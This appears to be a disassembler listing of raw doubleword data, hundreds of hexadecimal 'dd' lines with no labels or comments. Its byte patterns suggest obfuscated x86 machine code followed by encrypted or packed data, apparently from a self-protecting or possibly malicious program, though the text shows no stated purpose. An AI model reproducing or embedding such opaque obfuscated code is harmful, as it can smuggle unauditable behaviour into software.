		dd 52006A0Fh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 56EA1E8Dh, 0D0BF0FF3h, 919B5FFh,	6A06A6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 41C505C3h, 0F3B966AEh, 8E8FAh, 9B50000h, 0A035F250h
		dd 40B9E96Fh, 59673F4Fh, 7120858Dh, 0B58906A9h,	6A60C75h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 730A8FC3h, 76193DA0h, 89FCB51Ch, 0A63319BDh
		dd 0D858906h, 6A06A629h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 7F65C353h, 1923220Eh
		dd 18850F6Ch, 0E8000000h, 10h, 6E1F889Fh, 0F7EBFE25h, 9772F3C6h
		dd 0C607366Ah, 8359D18Bh, 0A62D85BDh, 850F0006h, 90h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 40C35646h, 0B2DDDD36h
		dd 82AB5278h, 3870Fh, 8B660000h, 2985C6FBh, 5606A60Ch
		dd 952BBF66h, 0E4C41B68h, 8E9C2h, 82380000h, 0EDA22B38h
		dd 348108F7h, 0FBA92224h, 0B0CA8016h, 919B5FFh,	0A4BF06A6h
		dd 23363948h, 0A61DE58Dh, 20858D06h, 8B06A971h,	0A6074195h
		dd 0BAD0FF06h, 7F2C5A50h, 2D858589h, 0DE906A6h,	6D000000h
		dd 5A8C8284h, 0C3AF073h, 0DCA64A20h, 0C2985C6h,	0F96C06A6h
		dd 22FC9E68h, 88E0FB9h,	60000000h, 850Fh, 81610000h, 8C1D2434h
		dd 6A6227h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 21215DC3h, 8106503Dh, 87F3B9CAh, 8DB5FF04h
		dd 6A06A62Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 1E77C355h, 154EE36Ch, 0E19D3118h
		dd 8D06A61Eh, 0A63AC385h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 6AD0FF7Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0FFABC357h, 2F498D8Bh, 0BF6606A6h, 8589E991h
		dd 6A9A40Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0B4C35545h, 0FAACEE16h,	0C84952D6h, 8A0F52B0h
		dd 0
		dd 0BCB9665Ah, 27BD83ADh, 6A9A4h, 102850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0C6E0EBC3h, 0A60C2985h, 0BA664906h, 4E87D2Dh, 0E9000000h
		dd 668C1529h, 506DA0B9h, 12E8h,	15861900h, 0C9806460h
		dd 0E25B53FFh, 0D0883A64h, 0BAD108EAh, 4E7D9555h, 24448B59h
		dd 0C4BF6604h, 66008BBAh, 4489FA8Bh, 5E90424h, 1000000h
		dd 83BCCFEAh, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 57B10326h, 6890Fh, 958B0000h, 6A60D01h
		dd 2F8DB5FFh, 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0D2AE1DC3h, 0B5030ABFh, 8BBA95F9h
		dd 0A61235BDh, 0C3858D06h, 0FF06A63Ah, 53006AD0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0F9F6CE65h, 0C848EA90h, 0A4278589h, 853106A9h, 6A63219h
		dd 6A046Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 6A5D5CC3h, 8D89FE44h, 6A634A5h, 16C18053h
		dd 4E85Ah, 10000000h, 0C6BF0000h, 5008F2CAh, 28C0Fh, 0D08B0000h
		dd 424448Bh, 4860Fh, 0BF660000h, 8B6A7Ch, 0BE9h, 9A542000h
		dd 0F53CE243h, 0AC811804h, 4244489h, 0C9B7BA66h, 75858958h
		dd 6806A615h, 5548AB14h, 28A0Fh, 8AB50000h, 14243481h
		dd 6A5549ABh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 4918C350h, 1CAEBF96h, 0FE2844Dh
		dd 68Bh, 0C5BD8B00h, 0F806A60Dh, 958B006Ah, 6A61185h, 130995FFh
		dd 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0ADD25C3h, 89E12A39h, 0A60FE985h,	0E99D8906h
		dd 8906A609h, 0A9A41785h, 0F85C706h, 6A9A4h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0FCD4C353h, 665255B9h, 4A2CF181h,	0AE9h
		dd 0A4DD8700h, 44FACA86h, 6A90CF8Eh, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C9DA818Bh
		dd 6055A898h, 0AE9h, 7B7A9800h,	6BEEAF67h, 8BBF30F1h, 0A6090985h
		dd 68686106h, 0B2C99826h, 2404818Ch, 3668D998h,	1F658589h
		dd 605006A6h, 0CA6F26B9h, 4800F20h, 66000000h, 6128F4BFh
		dd 0B240489h, 0A61499BDh, 660B6A06h, 8D8127BFh,	0A9A3E485h
		dd 0CFB70F06h, 50D08B90h, 90F98B66h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 6CC35040h, 665D0332h, 0FF7989BAh
		dd 0A6337995h, 5E806h, 75F70000h, 5FEDC8FCh, 8D0AF280h
		dd 0A9A3EEB5h, 0FC88B06h, 0C82h, 68B0F00h, 0F000000h, 80h
		dd 0BA665000h, 3489CBBBh, 0FD8D8B24h, 5006A614h, 48A0Fh
		dd 0BA660000h, 4894C6Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0A788B74Ch, 58E6E93Ah
		dd 0D95FFDAh, 0F06A629h, 688h, 51E18100h, 0B338DA8h, 2E850FC0h
		dd 8B000000h, 0A60FD18Dh, 71FE906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 1A4352C3h
		dd 8B66F989h, 60D0FFC8h, 0EE8h,	0D1754A00h, 4CB49D86h
		dd 9AC76D3Dh, 0F91E4034h, 0F281665Bh, 8B616896h, 0A9A417B5h
		dd 519D2906h, 8D06A608h, 6A2046h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8D2961C3h, 6A60CB5h
		dd 8501046Ah, 6A606A1h,	7E990h,	42B50000h, 0F3E4BF2Ch
		dd 506050A8h, 0F5A5052h, 8A585A31h, 0F9061CCh, 287h, 0FFD08B00h
		dd 0A9A42795h, 4DBD0306h, 0B06A618h, 34840FC0h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0D54BC351h, 0EB2234Dh, 0BD89507Fh, 6A60A81h
		dd 63FE95Ah, 0E8B90000h, 801CD88Fh, 0F00207Eh, 63084h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 30983BCDh, 0B6DC2F1Ch, 0C40DB909h, 81665126h
		dd 60CFC6E2h, 0B0B8B560h, 468D61C3h, 53006A20h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0FD84D6D4h
		dd 0E86D13C0h, 7, 0ABA1A5A9h, 60B982EBh, 0FF7470BBh, 61616015h
		dd 89FB8B5Fh, 0A9A41385h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 635D0B9h, 2A0A740Bh
		dd 6890Fh, 0B5890000h, 6A62F65h, 105E9h, 25958B00h, 0F06A62Eh
		dd 68Ah, 0D99D8900h, 4006A618h,	3870Fh,	0B70F0000h, 816660F9h
		dd 892411E9h, 0A604C585h, 0E8906106h, 0Ah, 61D2D080h, 3EFEAEF1h
		dd 8A518AC0h, 505A5ACFh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0CD196237h, 0ABAD3650h
		dd 6830Fh, 8D0B0000h, 6A63319h,	9589046Ah, 6A61E5Dh, 0A860Fh
		dd 5E90000h, 7B000000h,	0FABD69F5h, 0CF8B6650h,	0BA240489h
		dd 61FB9096h, 0A42795FFh, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 57D236C3h, 8B134FA5h
		dd 58FA8BD8h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	6CC35141h, 185B11EDh, 8B600F1Eh, 0A61D51B5h, 0DF8B6606h
		dd 0FDB0B61h, 1184h, 0B19D8900h, 0E906A611h, 485h, 1A699529h
		dd 388006A6h, 4850F00h,	66FFFFFFh, 0C9ABC181h, 22E9h, 0EE96000h
		dd 56000000h, 2D996040h, 2DE59592h, 330A4F26h, 719D294Bh
		dd 6106A615h, 218D8B48h, 3B06A609h, 0A9A41385h,	2C820F06h
		dd 0F000000h, 68Fh, 0B1958B00h,	8906A631h, 0A6293D8Dh
		dd 5C388006h, 11840Fh, 0D4BF0000h, 803FB240h, 850F2F38h
		dd 0FFFFFFC4h, 40FABF0Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0BEC35545h, 2A20AC9Ch, 0F3AA132h, 68Fh
		dd 0C9BD8B00h, 8306A62Dh, 0A9A41BBDh, 840F0006h, 18Eh
		dd 0EE990h, 5DEE0000h, 6D471474h, 58973099h, 0D86E28F5h
		dd 9011B550h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	0BBC35040h, 4D118749h, 660729A7h, 3DD16B9h, 0A9A41B85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0FCB51C76h, 13E9F288h, 0C8000000h, 0CD644B7Fh
		dd 660A08EDh, 70F80EB5h, 3F4D3947h, 0E8506041h,	6, 319673E0h
		dd 8B667623h, 48959F9h,	87B96624h, 0C1BD89A4h, 6A06A61Ch
		dd 25B96604h, 8DB531C0h, 9006A621h, 0F98B6660h,	6E95250h
		dd 0C4000000h, 9FBF4DB9h, 0B1310F6Ch, 61585AA6h, 66BA6650h
		dd 0AE890E8h, 3D000000h, 31367CDCh, 0BD6D8343h,	0FF5AFCD6h
		dd 0A9A42795h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 66884912h, 8BF61EBAh
		dd 0A62C798Dh, 0FD88B06h, 8B58F9B7h, 0A62E5195h, 0FDB0B06h
		dd 3C84h, 0EE800h, 13780000h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h
		dd 2A3E95Ah, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B7899C3h, 0A62C65BDh, 0C606h, 0D6DB501h, 6A5806A6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0D511C351h, 6834E28Bh, 8166CEEEh,	0F3218F7h
		dd 186h, 0BA90F800h, 1A054F07h,	7E85150h, 93000000h, 0C1AFA075h
		dd 8B66BB81h, 905F59D3h, 6AFFB70Fh, 55006A1Eh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 28DE245Eh
		dd 8108D7F1h, 0E10EC1C2h, 0E4E18170h, 904F777Ch, 0BA50D08Bh
		dd 1688671Fh, 31958B90h, 906A61Fh, 0A600F1BDh, 2795FF06h
		dd 6A06A9A4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0C09FC357h, 47C6AE5h, 22E3E081h
		dd 8BF8BF0Fh, 12840FD8h, 0E8000000h, 0Ah, 5469BAC9h, 3130A3DDh
		dd 0D68BAD35h, 4DB1585Fh, 12E8h, 401DA500h, 6F0DF8A1h
		dd 68ADB7Ch, 0B2D02092h, 8116BD2Dh, 6218DACFh, 0DB0B5A5Bh
		dd 3F840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 562C8BC3h, 3F55C49Dh, 8D095219h
		dd 6A62D41h, 143E95Ah, 0AE90000h, 63000000h, 0B35CCCD3h
		dd 0BD9D59CBh, 0BF665086h, 4891842h, 8B605224h,	6E9F9h
		dd 0BAD30000h, 0FDB7A77Bh, 0B5FF5F61h, 6A9A407h, 68F0Fh
		dd 8D8B0000h, 6A63205h,	0A40B95FFh, 880F06A9h, 6, 2FD98589h
		dd 0C00B06A6h, 60850Fh,	950B0000h, 6A60A49h, 148D0Fh, 0FE90000h
		dd 0F000000h, 2AA38FA6h, 2DCAEB33h, 0F8069085h,	6A61D3B8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0BE6BC353h, 8D2B10FAh, 6A60CFDh, 52DF8166h
		dd 0F85C75Fh, 106A9A4h,	29000000h, 0A60CD99Dh, 8FE906h
		dd 6A610000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 4594C355h, 0D6B70F08h,	11CC681h
		dd 81660000h, 66F2AED7h, 0E9AD55BAh, 0FFFFF987h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EDC35040h, 0AC70F745h
		dd 16850Fh, 8C0F0000h, 10h, 0AE8h, 82F96800h, 93F0E22Fh
		dd 5FA7BCD3h, 0BD8B6052h, 6A62E31h, 0DE8h, 326F2300h, 0C348CBB4h
		dd 7B6F82B9h, 615AD11Ah, 0C59C6859h, 0B9661A9Fh, 34814DD2h
		dd 9F459C24h, 5D958B1Ah, 8B06A618h, 0A629B98Dh,	0FF006A06h
		dd 0A9A417B5h, 459D8906h, 0FF06A601h, 0A62D8595h, 68E0F06h
		dd 89000000h, 0A606D9B5h, 0F858B06h, 8906A9A4h,	0A62E99BDh
		dd 49B29006h, 0C5BA6650h, 6A9087h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 4760EEC3h, 0E66AE729h
		dd 858D375Bh, 6A9A41Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 72C35646h, 63B250F9h,	0F240489h, 385h
		dd 0D6BF0F00h, 0A3DC858Dh, 950306A9h, 6A62AFDh,	0CE890h
		dd 0AEB90000h, 5A6B99F6h, 72869CF8h, 70B91EACh,	5960B329h
		dd 906CB550h, 83DBD2Bh,	95FF06A6h, 6A60DE1h, 0F18B6660h
		dd 8B61D08Bh, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0A5C46D28h, 60AAC09Eh, 0E9ABF380h
		dd 11h,	0E36B5058h, 94E03C7Fh, 954653Dh, 0EB2BFF11h, 0BD836102h
		dd 6A61EA5h, 83097500h,	0A62F9DBDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 0A79D8D00h, 0FF06A8A3h, 83585BD3h, 0A62F9DBDh
		dd 11740006h, 0D0B85350h, 8D000004h, 0A8A2A69Dh, 5BD3FF06h
		dd 0DDBD2358h, 0F06A61Ch, 387h,	0D38B6600h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5AC35545h, 43232CA6h
		dd 4B4339B5h, 1CF180F8h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 15BF23C3h, 8E958h, 77B10000h
		dd 0CCEFA66Fh, 0C0B537B8h, 8B0008C2h, 0A61195BDh, 0C08BF906h
		dd 8D45F180h, 0A9A43585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 64DCC54Eh
		dd 6D344D4Ch, 1959B589h, 0E28106A6h, 3880935Ah,	669FB760h
		dd 8961C28Bh, 0A62CC985h, 39EB06h, 0CC00C100h, 0E400C102h
		dd 0C102h, 9E000000h, 32471AAAh, 0D37603A6h, 2A2212AEh
		dd 0C34F19AAh, 3B4E13EDh, 0EF7639C3h, 9B223B8Fh, 8F5238B7h
		dd 74A23ADh, 0BA4616A6h, 0B221DA3h, 0AE22742Bh,	947C57C3h
		dd 8F56FE9Dh, 0F166F6C7h, 0EA2261C7h, 0B67431C3h, 3123F2C7h
		dd 4CAFFC03h, 2D24D1EEh, 0F13CD27Eh, 0A25777C5h, 0FABFCA40h
		dd 9E227165h, 0FE7127DAh, 0BE9BCF03h, 0D8AB77C3h, 0A8845D12h
		dd 0F24EEA4Eh, 78DD716Bh, 68A12F98h, 0EC84585Eh, 253503C3h
		dd 0BE9BCF90h, 0D8AB77C3h, 0A8845D12h, 0F579EA4Eh, 78DD716Bh
		dd 0D5482F98h, 0EA219F90h, 2E0277C3h, 0E6AB2C00h, 19A373E7h
		dd 0AE3E73E7h, 46177C3h, 831CE100h, 0FDF56692h,	5D2DAF63h
		dd 0C3E2FC10h, 93A7B157h, 0B24D1CFh, 125C8A5h, 5722732Bh
		dd 39A25C3h, 5B2D275Fh,	0EA2277C0h, 0FEECFCA5h,	53265387h
		dd 5D2277CFh, 22C5DC5Eh, 96AF5C4Ah, 11388B4h, 91AB7748h
		dd 0E0CB73E7h, 912277C3h, 28BB2882h, 0D31A26Ah,	0AE482F5Fh
		dd 57219F93h, 0F30277C3h, 91AB2F00h, 0AEA373E7h, 753A73E7h
		dd 0EA6277C3h, 33859B00h, 1B2B17BEh, 518473EEh,	0A23BC23Ch
		dd 0D5487165h, 0EA219F93h, 2D0277C3h, 0FEAB2F00h, 19A373E7h
		dd 0AE3473E7h, 76277C3h, 0AA844E00h, 0A402F24Eh, 0EA48716Ah
		dd 75219F93h, 0E20277C3h, 19AB2F00h, 0EAA373E7h, 573473E7h
		dd 0FB6277C3h, 84289200h, 0C767EA4Ah, 0A5DD7165h, 0B3DAFCA5h
		dd 0FB37BA7Eh, 46261DC5h, 572277C7h, 0AB2267C3h, 83725775h
		dd 617B0D76h, 13265387h, 314CB47Ah, 2545C9C3h, 0EAAB6252h
		dd 9A9073E7h, 0FB221D9Bh, 0D522742Bh, 297A57C3h, 5166FE9Bh
		dd 9E66F6C7h, 5D2262C7h, 6D7237C3h, 0EB4A75FFh,	0A4BF3BFEh
		dd 0D5226F45h, 0EA319EC3h, 697C77C3h, 715A46DEh, 21DFBF2Fh
		dd 1CD82702h, 0A0974E5Ch, 8F26F6A3h, 0B791B2F3h, 0EAE4F6A5h
		dd 9C221D43h, 0BA2277D7h, 312C9654h, 67A02C70h,	993A9C2Ah
		dd 854DB8F0h, 65DF439Eh, 0A094A73Ch, 0C3B5F24Ah, 0BA48716Ah
		dd 5D219F95h, 0F00277C3h, 23AB2900h, 0EFA373E7h, 0D53F73E7h
		dd 0BC6477C3h, 47418900h, 0FFE33C3h, 52F0567Fh,	0AE227048h
		dd 0D64425C3h, 0F4E93A1Ch, 19278F48h, 632277C1h, 0DC94EC46h
		dd 0A2E2F4C5h, 0EBBDF24Ah, 6E11716Ah, 57209B7Ah, 0A48884C3h
		dd 0D522724Bh, 24A311C3h, 0A3A23884h, 93A7B11Eh, 1E24D1CFh
		dd 8177C248h, 2F4A7165h, 20DE0E24h, 0F116F613h,	8A3CFBE5h
		dd 4EFCF6A5h, 0A39788B8h, 3724D1CAh, 0ADCA21C3h, 772277C3h
		dd 227CB49Dh, 542653B7h, 0F2265387h, 332277C3h,	0AC9DB495h
		dd 0D676BE94h, 83D364Eh, 0FAAFFCC5h, 0A424D1D7h, 0D522754Eh
		dd 67EAFCC3h, 0DC535746h, 48A911C5h, 5D48A73Ch,	0AE219F91h
		dd 0D0277C3h, 0FFAB2D00h, 91A373E7h, 0EA3E73E7h, 276077C3h
		dd 1B1EF00h, 4E96ED84h,	1144BCC2h, 0B19BFD8Bh, 2221D2F8h
		dd 73318246h, 73B7FEC5h, 0F824D1E3h, 1C292E46h,	8221DC5h
		dd 0AE22742Bh, 947F57C3h
		dd 8F4EFE9Eh, 0F166F6C7h, 0EA226BC7h, 0B67732C3h, 7BA58E14h
		dd 7D5B1EEAh, 0EBA7FEB2h, 3D24D1D1h, 0A8CA27C3h, 0F52277C3h
		dd 637AB49Bh, 0F4265387h, 0A1265387h, 1D2277C3h, 3210B493h
		dd 869CF03h, 6DDBCD60h,	732E5E46h, 0EA4824C5h, 75219F91h
		dd 0E00277C3h, 9AB2D00h, 0EAA373E7h, 573673E7h,	0F96077C3h
		dd 20A2BC00h, 9A0DC9E5h, 954A0F67h, 0ECE2193Fh,	7926F69Ah
		dd 92603C3Bh, 0BFD2C8CCh, 0AB2277D3h, 0CF0A1608h, 0F26CEBC3h
		dd 0AD5CE958h, 4A8709F6h, 44978899h, 0C424D1CAh, 54CA26C3h
		dd 8B2277C3h, 5C7BB49Ah, 6B26538Fh, 6D265387h, 0FB2277C3h
		dd 0FC69B492h, 0C82230D2h, 0DA0D2D7Dh, 2535746h, 7CB7FCC5h
		dd 1524D1C4h, 0B39C1113h, 0E3A7FEBCh, 3724D1EAh, 0ADCA20C3h
		dd 772277C3h, 227DB49Ch, 542653BFh, 0F1265387h,	322277C3h
		dd 554AB494h, 5E18F61Dh, 0A5CB3C26h, 0E02277C3h, 8358C8C1h
		dd 423E4F8Eh, 602DEEA7h, 752277C3h, 0B60BF205h,	3B717165h
		dd 0CE2E667Dh, 0A7C8DA7Bh, 73957899h, 69BB1FA2h, 242911Ah
		dd 752277C5h, 0BFDC40FAh, 775DEB1h, 9AA3169Ah, 965A5DE7h
		dd 619578FDh, 0DC3BC23Ch, 652D7165h, 752277C7h,	7255CEA5h
		dd 2C02F24Eh, 0ABCA716Ah, 0BC2277C3h, 7ABD6D22h, 4500CDA5h
		dd 80F2889Ch, 76CA26C3h, 9A2277C3h, 0D47BB49Ah,	2F26538Fh
		dd 4F265387h, 0EA2277C3h, 4171B492h, 0E5FD18A5h, 0F0ABB974h
		dd 0BC847BDEh, 0B57777A9h, 0AE2277C0h, 0AE12AE3h, 0AF061B4Ah
		dd 0D1063342h, 0EA2277DFh, 7BE12286h, 7BB6764h,	928B6B69h
		dd 0A20BF205h, 0E9657165h, 95EC13FCh, 293173ABh, 3B9B11FAh
		dd 5126F631h, 0C7C0BD66h, 0B57777A9h, 0AE2277C0h, 0AE12AE3h
		dd 0AF061B4Ah, 0D1063342h, 0EA2277DAh, 14E12286h, 110B741Dh
		dd 5BA878F0h, 252277C3h, 0F108064Eh, 0B29788C5h, 0BF24D1CAh
		dd 0E9CA26C3h, 552277C3h, 337BB49Ah, 0DC26538Fh, 0B4265387h
		dd 162277C3h, 98B7B492h, 97841F9Fh, 8AD1FD3Ch, 2CE3F6A5h
		dd 3FAF1667h, 5B8B06E3h, 0AE22672Bh, 315620C3h,	0BF093D8Ch
		dd 42148DCFh, 0A2F9FDCDh, 752C9E30h, 0D53377C3h, 0EB10E6D3h
		dd 0FF1E29ADh, 0ADDC257Eh, 0C1F2889Ah, 0D6CA24C3h, 0CA2277C3h
		dd 0FC79B498h, 3B26539Fh, 45265387h, 0ED2277C3h, 2FDCB490h
		dd 0CDFB8C4Dh, 0B7BE9D42h, 0F127C24Ah, 0F0AB7165h, 0BC847B32h
		dd 0D0BFFEA3h, 0F924D1E5h, 65DBC2C8h, 0CA7B7165h, 0D90BF205h
		dd 80657165h, 76CA21C3h, 9A2277C3h, 0D47CB49Dh,	2F2653B7h
		dd 4D265387h, 0ED2277C3h, 3351B495h, 0F2DED2F1h, 754A82CAh
		dd 3B148D6Dh, 3F5853C7h, 1BA93D22h, 51847F4Ah, 0A23BC23Ch
		dd 0DCCB7165h, 0B62277C3h, 0D079EBD8h, 0FF940C08h, 43B2CDA3h
		dd 66A27B0Bh, 0D2AF1662h, 0AD8B06E3h, 3D7277A9h, 0EA2277C0h
		dd 2DE12FE3h, 0BE06334Ah, 59063342h, 0AE2277DAh, 32E12783h
		dd 0C26140A7h, 0CAF7640h, 1524D1DDh, 27221D13h,	0BA22742Bh
		dd 9E7857C3h, 8A76FE99h, 7366F6C7h, 0AB226FC7h,	167035C3h
		dd 84E23502h, 0C8AFFEC3h, 3324D1E5h, 0FB11FE46h, 0A8A078C5h
		dd 5C2277C3h, 0D0B9A7Eh, 0FCA7B1C5h, 0AD24D1CFh, 7522712Ah
		dd 8E94EFC3h, 353B555Fh, 0E6E4C5C1h, 0D6ECFCA5h, 217953C7h
		dd 0D54815C5h, 0EA219F90h, 2E0277C3h, 0E6AB2C00h, 19A373E7h
		dd 0AE3873E7h, 46177C3h, 0CD64B600h, 570500BAh,	2BBFFE95h
		dd 2F24D1DAh, 0B33BC23Ch, 5D487165h, 0AE219F92h, 0E0277C3h
		dd 0E7AB2E00h, 91A373E7h, 0EA3F73E7h, 246377C3h, 7023C700h
		dd 0C5CD05D8h, 0C82BEE77h, 0DADE8C48h, 2535746h, 0D3A678C5h
		dd 612277C3h, 0D3323E56h, 0D0F288C5h, 5ECA27C3h, 8E2277C3h
		dd 0DE7AB49Bh, 2A265387h, 0C9265387h, 0AA2277C3h, 0C4C3B493h
		dd 3B6DF486h, 3BEDC0FAh, 0A8CAB948h, 652277C3h,	0AB16AD15h
		dd 0D52A9EF5h, 0EB6D77C3h, 5C20062Ch, 337B0357h, 0FB36EA46h
		dd 0FF221DC5h, 5722742Bh, 687B57C3h, 0F16EFE9Ah, 0CE66F6C7h
		dd 752262C7h, 797336C3h, 0D00B19DAh, 0A8847CD6h, 5A9CA73Ch
		dd 220F1073h, 730CAE46h, 0BB221DC5h, 7522742Bh,	797B57C3h
		dd 796EFE9Ah, 8A66F6C7h, 572260C7h, 687336C3h, 3532C9Bh
		dd 0F053C248h, 0F9447165h, 0BCA8781Bh, 0DC2277C3h, 0EEAB1F1Ch
		dd 642653A0h, 0D397E76h, 0DAE27DC5h, 0EA214147h, 23221DC3h
		dd 0BA22742Bh, 9E7C57C3h, 8A56FE9Dh, 7366F6C7h,	0AB2260C7h
		dd 167431C3h, 7EB0250Ah, 790BF205h, 536D7165h, 5D2277D3h
		dd 0BC778E36h, 22B5B47Dh, 0D58BDA5Fh, 2B1D3372h, 0EA22732Bh
		dd 0F54EB3C3h, 0BA2D9E7Ch, 0C57F77C3h, 26269271h, 6AEB6989h
		dd 0B250628Bh, 91A9273Eh, 544473E7h, 75A9958Ch,	0BA34FECCh
		dd 0F7277C3h, 0AE227F2Bh, 0B33D29C3h, 0FD1B5990h, 0E42D29C3h
		dd 0B27816A3h, 7106334Ah, 187F9D7Ah, 5D482FB8h,	0AE219F96h
		dd 0A0277C3h, 0C7AB2A00h, 91A373E7h, 0EA3873E7h, 206777C3h
		dd 0D4903400h, 1226E561h, 82E3F692h, 9310734h, 0A23BC23Ch
		dd 58A97165h, 0EC845C62h, 402F24Eh, 0B1CB716Ah,	122277C3h
		dd 741E8E09h, 0D2FB86F1h, 7BDDAD47h, 3D7777A9h,	0EA2277C0h
		dd 28E12AE3h, 0BE061B4Ah, 59063342h, 0AE2277DAh, 0B4E12286h
		dd 376FB396h, 2CAFFC06h, 6924D1CFh, 0C0AB5303h,	0BC847F9Ah
		dd 5617F24Ah, 33AB7165h, 51847B9Eh, 85FBF248h, 0D5487165h
		dd 0EA219F94h, 2A0277C3h, 0C6AB2800h, 19A373E7h, 0AE3F73E7h
		dd 6577C3h, 6FFF1000h, 17D1E1D6h, 6BD6C19Bh, 2EE7B32Ch
		dd 27BFFCAEh, 0E324D1D7h, 0D7D5BD76h, 528FFAEAh, 0C1617165h
		dd 0D6CA25C3h, 0CA2277C3h, 0FC78B499h, 3B265397h, 4B265387h
		dd 0EC2277C3h, 5AC4B491h, 2266CE5Eh, 0CEA95200h, 27377A9h
		dd 752277C0h, 0E3E12EE3h, 59063B4Ah, 0AA063342h, 572277D8h
		dd 0E0E12682h, 5384134Dh, 0C3EA1517h, 0D333B24Eh, 0D039FCC5h
		dd 5ECA22C3h, 8E2277C3h, 0DE7FB49Eh, 2A2653AFh,	0CC265387h
		dd 0AF2277C3h, 0E5ADB496h, 0F2A59E3h, 46A9BB49h, 467477A9h
		dd 572277C0h, 0F5E129E3h, 0D106034Ah, 0EE063342h, 752277DEh
		dd 4BE12185h, 4F39DD91h, 7BEC7537h, 0DEFA4411h,	0D3C8A7Eh
		dd 48BFFEC5h, 8024D1E3h, 76CA27C3h, 9A2277C3h, 0D47AB49Bh
		dd 2F265387h, 42265387h, 0EB2277C3h, 0CE7CB493h, 0EA22792Ah
		dd 6E3F99C3h, 0D44B53BCh, 1A14DDCCh, 688766ECh,	0F12E5E46h
		dd 142D30C5h, 21F81F3Bh, 55440C68h, 71A38222h, 88CAB8E7h
		dd 90BF7EFFh, 5124D1C7h, 0F12B6E76h, 8BA7FAC5h,	5F24DEB2h
		dd 8CF28836h, 0FC1A8E7Dh, 1C2E8646h, 0F221DC5h,	0AE22742Bh
		dd 947857C3h, 8F76FE99h, 0F166F6C7h, 0EA2263C7h, 0B67035C3h
		dd 0FA28C244h, 0B57177A9h, 0AE2277C0h, 0CE12CE3h, 0AF062B4Ah
		dd 0D1063342h, 0EA2277DBh, 7EE12480h, 0A4C75B53h, 5D22782Bh
		dd 0E25B7AC3h, 0E48F7913h, 0C3034569h, 0EB5A79F6h, 0C6E7E24Ah
